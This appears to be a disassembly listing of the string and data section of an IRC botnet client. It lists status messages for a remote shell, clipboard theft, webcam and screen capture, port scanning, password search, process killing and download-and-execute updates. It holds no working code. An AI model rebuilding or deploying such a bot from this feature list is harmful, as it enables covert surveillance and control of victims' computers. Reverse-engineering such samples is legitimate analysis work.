dword_42B3EC	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+5B42o
		dd 2BBBB02h
aFailedToStar_8	db '  Failed to start listing thread, error: <%d>.',0
		align 4
dword_42B434	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+5AD3o
		dd 2BBBB02h, 694C2020h,	6E697473h, 6F6C2067h, 2E67h
dword_42B45C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+5A36o
		dd 2BBBB02h, 654E2020h,	726F7774h, 6E49206Bh, 2E6F66h
dword_42B484	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+5A04o
		dd 2BBBB02h, 79532020h,	6D657473h, 666E4920h, 2E6Fh
dword_42B4AC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+59AFo
		dd 2BBBB02h, 65522020h,	69766F6Dh, 4220676Eh, 2E746Fh
unk_42B4D4	db    2			; DATA XREF: sub_40D2E0+599Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_9	db 'Failed to start listing thread, error: <%d>.',0
		align 4
dword_42B524	dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h
					; DATA XREF: sub_40D2E0+592Do
		dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h,	73736563h
		dd 73696C20h, 2E74h
aFull		db 'full',0             ; DATA XREF: sub_40D2E0+590Do
		align 4
unk_42B55C	db    2			; DATA XREF: sub_40D2E0+58B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aAlreadyRunning	db 'Already running.',0
		align 10h
unk_42B590	db    2			; DATA XREF: sub_40D2E0+5893o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	64h, 6Bh
		db  65h	; e
		db 79h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aSearchComplete	db ' Search completed.',0
		align 10h
dword_42B5C0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+584Ao
		dd 2BBBB02h, 70552020h,	656D6974h, 7325203Ah, 2Eh
dword_42B5E8	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0:loc_412A67o
		dd 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 4
dword_42B618	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+5780o
		dd 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 10h
dword_42B650	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+5764o
		dd 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_42B688	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+5746o
		dd 2BBBB02h, 65472020h,	6C432074h, 6F627069h, 2E647261h
		dd 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_40D2E0+5718o
		align 4
unk_42B6C8	db    2			; DATA XREF: sub_40D2E0:loc_4129E8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 4
unk_42B704	db    2			; DATA XREF: sub_40D2E0+56EDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheFlushe	db '  ARP cache flushed.',0
		align 4
unk_42B738	db    2			; DATA XREF: sub_40D2E0:loc_4129BDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 4
unk_42B774	db    2			; DATA XREF: sub_40D2E0:loc_4129B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 10h
unk_42B7B0	db    2			; DATA XREF: sub_40D2E0+56CFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 4
dword_42B7E4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40D2E0+565Fo
		dd 2029671Fh, 2BBBB02h
aFailedToSta_10	db '  Failed to start server thread, error: <%d>.',0
		align 10h
dword_42B830	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40D2E0+55F4o
		dd 2029671Fh, 2BBBB02h
aServerListen_0	db '  Server listening on IP: %s:%d, Username: %s.',0
		align 4
unk_42B87C	db    2			; DATA XREF: sub_40D2E0+5528o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToSta_11	db 'Failed to start server thread, error: <%d>.',0
unk_42B8C4	db    2			; DATA XREF: sub_40D2E0+53B2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_12	db '  Failed to start server thread, error: <%d>.',0
		align 4
unk_42B90C	db    2			; DATA XREF: sub_40D2E0+5287o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyRunni_0	db '  Already running.',0
unk_42B938	db    2			; DATA XREF: sub_40D2E0+5271o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_13	db '   Failed to start search thread, error: <%d>.',0
unk_42B984	db    2			; DATA XREF: sub_40D2E0+5200o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForPa	db '   Searching for password.',0
unk_42B9BC	db    2			; DATA XREF: sub_40D2E0:loc_4124A7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_14	db '  Failed to start scan, port is invalid.',0
		align 10h
unk_42BA00	db    2			; DATA XREF: sub_40D2E0+5108o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
dword_42BA78	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+4EC8o
		dd 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 4
dword_42BAAC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+4EACo
		dd 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_42BADC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+4E89o
		dd 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_42BB0C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+4E6Do
		dd 2BBBB02h, 52492020h,	61522043h, 25203A77h, 2E73h
dword_42BB34	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40D2E0:loc_4120CCo
		dd 2029671Fh, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 10h
dword_42BB70	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40D2E0+4DE5o
		dd 2029671Fh, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 4
dword_42BBA4	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40D2E0:loc_41207Fo
		dd 2029671Fh, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 4
dword_42BBDC	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40D2E0+4D86o
		dd 2029671Fh, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_40D2E0+4D6Co
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40D2E0+4CE1o
					; sub_40D2E0:loc_412FBAo
		align 4
dword_42BC28	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+4C68o
		dd 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_42BC5C	db    3			; DATA XREF: sub_40D2E0:loc_411F33o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5CouldnTOpenFi	db '5  Couldn',27h,'t open file: %s',0
		align 10h
unk_42BCA0	db    3			; DATA XREF: sub_40D2E0+4C49o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5FileOpenedS	db '5  File opened: %s',0
		align 4
dword_42BCDC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+4C29o
		dd 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 10h
dword_42BD10	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0:loc_411EBDo
		dd 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 4
dword_42BD48	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+4BB2o
		dd 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
unk_42BD74	db    2			; DATA XREF: sub_40D2E0:loc_411E5Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToTermin	db 'Failed to terminate process: %s',0
unk_42BDB4	db    2			; DATA XREF: sub_40D2E0+4B74o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aProcessKilledS	db 'Process killed: %s',0
		align 4
unk_42BDE8	db    2			; DATA XREF: sub_40D2E0:loc_411DFEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToTerm_0	db 'Failed to terminate process ID: %s',0
		align 4
unk_42BE2C	db    2			; DATA XREF: sub_40D2E0+4B17o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aProcessKilledI	db 'Process killed ID: %s',0
		align 4
dword_42BE64	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40D2E0+4AD2o
		dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h,	2E277325h
		dd 0
dword_42BE90	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+4A4Do
		dd 2BBBB02h
aSendFileSUserS	db '  Send File: %s, User: %s.',0
		align 4
dword_42BEC4	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40D2E0+49D2o
		dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h
unk_42BEE8	db    2			; DATA XREF: sub_40D2E0+49B4o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToSta_15	db 'Failed to start connection thread, error: <%d>.',0
dword_42BF34	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40D2E0+4945o
		dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h,	0
dword_42BF5C	dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40D2E0:loc_411BB3o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh,	2E746E65h
		dd 0
unk_42BF88	db    2			; DATA XREF: sub_40D2E0+48C9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Dh,	69h, 72h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_42BFB4	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+4898o
		dd 2BBBB02h, 6F432020h,	6E616D6Dh, 203A7364h, 7325h
dword_42BFDC	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+488Do
		dd 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 4
dword_42C018	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+484Do
		dd 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 4
dword_42C048	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+4839o
		dd 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 4
dword_42C07C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40D2E0:loc_411AA7o
		dd 2029671Fh, 2BBBB02h
aInvalidParam_0	db '  Invalid parameters for amateur video capture.',0
dword_42C0C8	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40D2E0:loc_411A9Do
		dd 2029671Fh, 2BBBB02h
aErrorWhileCapt	db '  Error while capturing amateur video from webcam.',0
		align 4
dword_42C118	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40D2E0+47B3o
		dd 2029671Fh, 2BBBB02h
aAmateurVideoSa	db '  Amateur video saved to: %s.',0
		align 4
aVideo		db 'video',0            ; DATA XREF: sub_40D2E0:loc_411A0Eo
		align 4
dword_42C15C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40D2E0:loc_4119FBo
		dd 2029671Fh, 2BBBB02h
aInvalidParam_1	db '  Invalid parameters for webcam capture.',0
		align 4
dword_42C1A4	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40D2E0:loc_4119F4o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_0	db '  Error while capturing from webcam.',0
		align 4
dword_42C1E8	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40D2E0+4704o
		dd 2029671Fh, 2BBBB02h
aWebcamCaptureS	db '  Webcam capture saved to: %s.',0
		align 4
aFrame		db 'frame',0            ; DATA XREF: sub_40D2E0:loc_411968o
		align 4
dword_42C22C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40D2E0+467Bo
		dd 2029671Fh, 2BBBB02h
aDriverListComp	db '  Driver list complete.',0
dword_42C260	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40D2E0+4645o
		dd 2029671Fh, 2BBBB02h
aDriverDSS_	db '  Driver #%d - %s - %s.',0
aDrivers	db 'drivers',0          ; DATA XREF: sub_40D2E0:loc_4118D1o
dword_42C29C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40D2E0:loc_4118BEo
		dd 2029671Fh, 2BBBB02h
aNoFilenameSpec	db '  No filename specified for screen capture.',0
dword_42C2E4	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40D2E0:loc_4118B7o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_1	db '  Error while capturing screen.',0
dword_42C320	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40D2E0+45C7o
		dd 2029671Fh, 2BBBB02h
aScreenCaptureS	db '  Screen capture saved to: %s.',0
		align 4
aScreen		db 'screen',0           ; DATA XREF: sub_40D2E0:loc_41186Eo
		align 4
dword_42C364	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+4576o
		dd 2BBBB02h, 65472020h,	736F6874h, 25203A74h, 2E73h
dword_42C38C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+4532o
		dd 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 4
dword_42C3CC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+4516o
		dd 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 10h
dword_42C400	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+4496o
		dd 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 4
dword_42C42C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+445Fo
		dd 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 4
dword_42C458	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+4411o
		dd 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 4
dword_42C484	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+43A0o
		dd 2BBBB02h, 79432020h,	2E656C63h, 0
dword_42C4A8	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40D2E0+4366o
					; sub_40D2E0+4E78o
dword_42C4B4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+433Fo
		dd 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 10h
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_40D2E0+432Eo
		align 4
dword_42C4EC	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40D2E0+4305o
		dd 2202967h, 2002BBBBh,	77615220h, 73252820h, 25203A29h
		dd 73h
dword_42C518	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40D2E0+4297o
		dd 2202967h, 2002BBBBh,	646F4D20h, 25282065h, 203A2973h
		dd 7325h
dword_42C544	dd 45444F4Dh, 732520h	; DATA XREF: sub_40D2E0+423Fo
dword_42C54C	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40D2E0+4212o
		dd 2202967h, 2002BBBBh,	63694E20h, 2528206Bh, 203A2973h
		dd 7325h
dword_42C578	dd 4B43494Eh, 732520h	; DATA XREF: sub_40D2E0+41B9o
					; sub_40D2E0+4CADo
dword_42C580	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40D2E0+419Ao
dword_42C58C	dd 0A0D7325h, 0		; DATA XREF: sub_40D2E0+4165o
					; sub_40D2E0+41EEo ...
dword_42C594	dd 54524150h, 732520h	; DATA XREF: sub_40D2E0+4130o
dword_42C59C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0:loc_4113FDo
		dd 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 10h
dword_42C5E0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+40E6o
		dd 2BBBB02h, 65522020h,	74616570h, 7325203Ah, 0
aRepeat		db 'repeat',0           ; DATA XREF: sub_40D2E0+4092o
		align 10h
dword_42C610	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0:loc_41132Ao
		dd 2BBBB02h, 65442020h,	2E79616Ch, 0
dword_42C634	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_40D2E0+400Ao
					; sub_40D2E0+40BDo ...
unk_42C644	db    2			; DATA XREF: sub_40D2E0:loc_411297o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
unk_42C698	db    2			; DATA XREF: sub_40D2E0+3FADo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 4
unk_42C6E4	db    2			; DATA XREF: sub_40D2E0+3F3Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_40D2E0+3E95o
		align 4
dword_42C72C	dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40D2E0+3E33o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh,	732520h
unk_42C754	db    2			; DATA XREF: sub_40D2E0+3E28o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 65h,	78h, 65h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 4
unk_42C788	db    2			; DATA XREF: sub_40D2E0+3DA0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
